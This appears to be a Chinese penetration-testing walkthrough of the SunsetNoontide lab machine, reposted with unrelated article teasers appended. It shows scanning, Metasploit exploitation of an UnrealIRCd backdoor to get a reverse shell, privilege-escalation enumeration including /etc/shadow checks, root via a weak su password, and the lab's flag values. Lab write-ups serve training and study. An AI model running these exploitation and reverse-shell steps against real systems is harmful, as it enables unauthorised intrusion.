OSCP系列靶场-Esay-SunsetNoontide保姆级

OSCP系列靶场-Esay-SunsetNoontide

目录

  • OSCP系列靶场-Esay-SunsetNoontide
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
        • chatgpt学习
    • 漏洞利用-getwebshell
      • 漏洞利用-unrealircd
    • 内网遨游-getshell
      • 交互shell
      • FLAG1获取
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 检测当前用户的权限
        • 列举出所有的sudo文件
        • 列举出所有suid文件
        • /etc/passwd权限收集
        • /etc/shadow权限收集
        • getcap标志进程收集
        • 列举定时任务
        • 查看历史信息(无)
        • 确认/home目录下信息
          • 确认当前用户home目录下是否有隐藏文件
      • 权限提升
      • su弱密码提权
      • FLAG2获取
    • 后记

总结

getwebshell : nmap发现UnrealIRCdirc漏洞利用

提 权 思 路 : su弱密码提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.239

  • 启动靶机
    获取目标机器IP → 192.168.172.120

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.172.120PORT     STATE SERVICE
6667/tcp open  irc
6697/tcp open  ircs-u
8067/tcp open  infi-async


开放的端口-→6667,6697,8067

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p6667,6697,8067 192.168.172.120PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
6697/tcp open  irc     UnrealIRCd
8067/tcp open  irc     UnrealIRCd (Admin email example@example.com)

信息收集-端口测试

根据探测的端口进行进一步的测试,这三个端口没有见过nmap探测开放的服务都是irc 版本是UnrealIRCd探测到了邮箱内容 Admin email example@example.com通过搜索可以确定UnrealIRCd是开源,存在漏洞的情况较大

chatgpt学习

粗略的了解一下内容

漏洞利用-getwebshell

漏洞利用-unrealircd

在遇到不知道的情况下可以借助msf帮助

msf6 → searchsploit unrealircd


但是我们不确定版本,在没思路的情况下尝试盲打,首先选用msf自带的

msfconsole 
msf6 → search unrealircd

msf6 → use 0
msf6 → show options

确定了只需要目标以及端口

msf6 → set rhosts 192.168.172.120
msf6 → set payload 7

选择反弹shell

msf6 → set lhost 192.168.45.239

设置监听host运行得到shell

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

# 如果是msf的要先shell
shell

发现shell失败

# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

server@noontide:~/irc/Unreal3.2$ find / -name local.txt 2>/dev/null
/home/server/local.txt
server@noontide:~/irc/Unreal3.2$ cat /home/server/local.txt
ed03c20077957b11b1b936f8a70fd0c4

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
server@noontide:~/irc/Unreal3.2$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

server@noontide:~/irc/Unreal3.2$ uname -a
Linux noontide 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

server@noontide:~/irc/Unreal3.2$ id
uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
server@noontide:~/irc/Unreal3.2$ sudo -l
bash: sudo: command not found

发现不存在sudo

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
server@noontide:~/irc/Unreal3.2$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

server@noontide:~/irc/Unreal3.2$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1440 Aug  8  2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
server@noontide:~/irc/Unreal3.2$ ls -al /etc/shadow
-rw-r----- 1 root shadow 950 Dec  3  2020 /etc/shadow

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
server@noontide:~/irc/Unreal3.2$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息(无)

可能用户留下的历史信息具有有用的信息

history

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

server@noontide:~/irc/Unreal3.2$ ls -al /home
drwxr-xr-x  3 server server 4096 Dec  3  2020 server
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
ls -al /home/server

找到一个文件


默认编辑器是nano

# Generated by /usr/bin/select-editor SELECTED_EDITOR="/bin/nano"

权限提升

su弱密码提权

server@noontide:~/irc$ su
Password: rootroot@noontide:/home/server/irc# id
uid=0(root) gid=0(root) groups=0(root)

FLAG2获取

root@noontide:/home/server/irc# cat /root/proof.txt
b6dd9e1ceb4383125727e3101987689d

完结撒花~

后记

以后提权尝试第一条 su 弱密码,应该在利用sudo发现没有命令的时候尝试一下

了解了一下漏洞原理

cat /usr/share/exploitdb/exploits/linux/remote/13853.pl

大致利用思路 是连接6667端口时直接插入 AB;payload
利用;可以绕过进行命令执行,这里下载远程文件并执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/76418.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

typeScript--[interface接口实现类的定义,函数定义,可索引定义]

一.定义函数接口 interface Fn {(name: string): void; } var fn: Fn function (name): void {console.log(name); }; fn("逍遥的码农"); 二.定义类的接口 定义类需要用到关键字implements跟上定义的接口 interface Me {name: string;age: number;say(): void; }…

【C++进阶】二叉树进阶之二叉搜索树

👦个人主页:Weraphael ✍🏻作者简介:目前学习C和算法 ✈️专栏:C航路 🐋 希望大家多多支持,咱一起进步!😁 如果文章对你有帮助的话 欢迎 评论💬 点赞&#x1…

Vector底层原理——面试之我答

Vector概述 vector是STL中最常用的容器,vector主要功能是作动态数组来弥补传统数组的缺点,如:不灵活,不方便插入等等。 Vector支持随机访问,因此访问某一个元素的时间复杂度是O(1)。 vector中存储着许多易用的函数方法…

C++与OPENCV实战学习

基于双目视觉的三维重建C实战_基于视觉sfmmvs的三维重建程序c源码(带gui界面)_新缸中之脑的博客-CSDN博客

逆市而行:如何在市场恐慌时保持冷静并抓住机会?

市场中的恐慌和波动是投资者所不可避免的。当市场出现恐慌情绪时,很多投资者会盲目跟从大众,导致决策出现错误。然而,聪明的投资者懂得在恐慌中保持冷静,并将其视为抓住机会的时机。本文将分享一些在市场恐慌时保持冷静并抓住机会…

Azure + React + ASP.NET Core 项目笔记一:项目环境搭建(二)

有意义的标题 pnpm 安装umi4 脚手架搭建打包语句变更Visual Studio调试Azure 设置变更发布 pnpm 安装 参考官网,或者直接使用npm安装 npm install -g pnpmumi4 脚手架搭建 我这里用的umi4,官网已附上 这里需要把clientapp清空,之后 cd Cl…

游戏性能优化

Unity性能优化主要包括以下方面: 1.渲染性能 。包括减少Draw Calls、减少三角面数、使用LOD、使用批处理技术、减少实时光源等,以提高游戏的帧率和渲染效率。 2.内存性能 。包括使用对象池、使用合适的纹理、使用异步加载资源等,以减少内存占…

【JAVA】String类

作者主页:paper jie_的博客 本文作者:大家好,我是paper jie,感谢你阅读本文,欢迎一建三连哦。 本文录入于《JAVASE语法系列》专栏,本专栏是针对于大学生,编程小白精心打造的。笔者用重金(时间和…

基于SSM的高校共享单车管理系统的设计与实现

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:采用Vue技术开发 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目&#x…

Redis原理:IntSet

(笔记总结自b站黑马程序员课程) 一、结构 IntSet是Redis中set集合的一种实现方式,基于整数数组来实现,并且具备长度可变、有序等特征。 结构如下: typedef struct intset {uint32_t encoding; //编码方式uint32_t l…

读取XML的几种方式

一、为什么使用XML 1、便于不同应用程序之间通信。 2、便于不同平台之间通信。 3、便于不同平台之间数据共享。 二、Dom读取 xml文件内容 <?xml version"1.0" encoding"UTF-8"?> <bookstore><book id"1"><name>冰…

归并排序-面试例子

小数和问题 描述 在一个数组中&#xff0c;一个数左边比它小的数的总和&#xff0c;叫数的小和&#xff0c;所有数的小和累加起来&#xff0c;叫数组小和。求数组小和。 例子 5 2 6 1 7 小和原始的求法是&#xff1a;任何一个数左边比它小的数累加起来。 5左边比它小数累加…

面试系列 - Redis持久化机制详解

目录 一、Redis 持久化机制 二、混合使用 RDB 和 AOF 三、 RDB(Redis DataBase)详解 四、AOF&#xff08;Append-Only File&#xff09;详解 Redis 是一个内存数据库&#xff0c;为了持久化数据以确保数据不会在服务器重启时丢失&#xff0c;Redis 提供了两种主要的持久化机…

执行 JUnit 单元测试前,修改环境变量

同一份代码&#xff0c;在不改变配置文件的情况下&#xff0c;可以连接不同的数据库&#xff0c;进行JUnit测试。 非开发、测试、生产环境的区别。而是 我就站在这里&#xff0c;指哪打哪&#xff01; 避免重复造轮子&#xff0c;参考博文&#xff1a; 使用junit&spri…

python main 函数-启动-传递参数 python 打包 exe C# 进程传参

Part1:Python main 传递参数 在Python编程中&#xff0c;我们经常需要从命令行或其他外部环境中获取参数。Python提供了一种简单而灵活的方式来处理这些参数&#xff0c;即通过main函数传参 1.python main 函数-启动-传递参数 test.py import sysdef main():# 获取命令行参…

QT 自定义信号

自定义信号&#xff0c;需要 1.在singnals:区域下写信号函数&#xff0c;以及函数对应的参数 2. 需要emit关键字进行发射信号 3. 在需要处理该信号的其他类中&#xff0c;建立信号和其信号槽函数connect() 4. 在其他类中创建信号处理槽函数 #include "mythread.h"my…

Linux 中的 col 命令及示例

Linux 系统中的col命令用于过滤掉反向换行,使输出看起来更加正确,只有正向和半正向换行,并尽可能用制表符替换空白字符。这在处理 nroff 和 tbl 的输出时被证明是有用的。col 实用程序只是从标准输入读取并写入标准输出。 句法: 列 [-bfhpx] [-l num] col [-bfhpx] [-l nu…

C盘清理教程

C盘清理教程 首先使用space Sniffer 扫一下c盘&#xff0c;然后看一下到底是哪个文件这么大 第二步&#xff0c;创建软链接。 首先将我们需要移动的文件的当前路径拷贝下来&#xff1a;C:\Users\Tom\Desktop\test-link\abc\ghi.txt 然后假设剪切到D盘下&#xff1a;D:\ghi.…

Linux 中的 cmp 命令及示例

Linux/UNIX 中的cmp命令用于逐字节比较两个文件,帮助您找出两个文件是否相同。 当 cmp 用于比较两个文件时,如果发现差异,则将第一个不匹配的位置报告到屏幕,如果没有发现差异,即比较的文件相同。cmp 不显示任何消息,如果比较的文件相同,则仅返回提示。语法: cmp [选项…

基于改进人工蜂群算法的 K 均值聚类算法(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…